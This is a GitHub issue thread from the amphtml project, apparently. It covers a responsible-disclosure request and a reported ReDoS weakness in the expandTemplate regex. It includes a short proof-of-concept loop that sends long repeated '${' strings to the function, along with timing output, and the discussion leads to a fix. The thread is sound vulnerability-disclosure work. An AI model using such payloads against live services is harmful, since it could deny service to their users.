Trying to get in touch regarding a security issue

[JamieSlome]

Hey there!

I'd like to report a security issue but cannot find contact instructions on your repository.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

[alanorozco]

cc @ampproject/wg-security-privacy

[honeybadgerdontcare]

@molnarg fyi

[ready-research]

@coreymasanto @newmuis @alanorozco Reported a security issue in huntr https://www.huntr.dev/bounties/36577e6a-67e2-4002-9586-007bdf8407d9/ long back, can you please validate this?

amphtml/src/core/types/string/index.js

Line 92 in 3fe2ae4

template = template.replace(/\${([^}]*)}/g, (_a, b) => {

is using regex which is vulnerable to ReDoS.

[jridgewell]

Hi @ready-research: That regex shouldn't be vulnerable. The * closes over a [^}] (anything but a }), which is disjoint with the required next }. Using the following, we would see a quadratic increase in timing if it were vulnerable:

const regex = /\${([^}]*)}/;

function test(length) {
  const str = '${' + 'a'.repeat(length);
  const now = performance.now();
  regex.test(str);
  return performance.now() - now;
}

for (let i = 0; i < 500; i++) {
  console.log({ length: i, time: test(i) });
}

[ready-research]

@jridgewell Here is the POC

import {expandTemplate} from './amphtml/src/core/types/string/index.js';
for(var i = 1; i <= 500; i++) {
    var time = Date.now();
    var payload = ""+"${".repeat(i*10000)+"!"
    expandTemplate(payload)
    var stop_time = Date.now() - time;
    console.log("Payload.length:" + payload.length + ": " + stop_time+" ms");
    }

Check the Output:

Payload.length:20001: 198 ms
Payload.length:40001: 775 ms
Payload.length:60001: 1672 ms
Payload.length:80001: 2991 ms
Payload.length:100001: 5029 ms
Payload.length:120001: 7096 ms
Payload.length:140001: 9171 ms
Payload.length:160001: 11837 ms
--
--

[jridgewell]

Ok, so this is the replace iterating until the end of the string, doesn't match, goes to next ${, iterates till end of string, doesn't match, goes to next ${, …

Thankfully, this is pretty slow increase and requires an extremely large string. We could add { to the [^}] to prevent this.

[ready-research]

Yeah, agrees with you it requires an extremely large string. Security is all about edge cases. So can you please raise a PR for this?

[ready-research]

@jridgewell Tested the above fix, I can confirm that this resolves the issue. Thanks for the quick response.

Can you please mark this huntr report
https://www.huntr.dev/bounties/36577e6a-67e2-4002-9586-007bdf8407d9/ as valid using Mark as valid? Thanks.

[JamieSlome]

@jridgewell - thanks for your support here ❤️

Are you able to mark the report as fixed? You just need the commit SHA from the merge and the patched version.

You are welcome to take the reward for fixing it too!

[jridgewell]

Is it possible to send the reward to @ready-research? I'm explicitly disallowed from taking contributions for work.

[JamieSlome]

@jridgewell - we can only reward fixes to researchers if they submit patches via the report page. If you are not able to self-reward, you can select no-one as the fixer, and the funds will be returned back to the pool for your repository's future research incentives ❤️

[JamieSlome]

Just for your reference @jridgewell: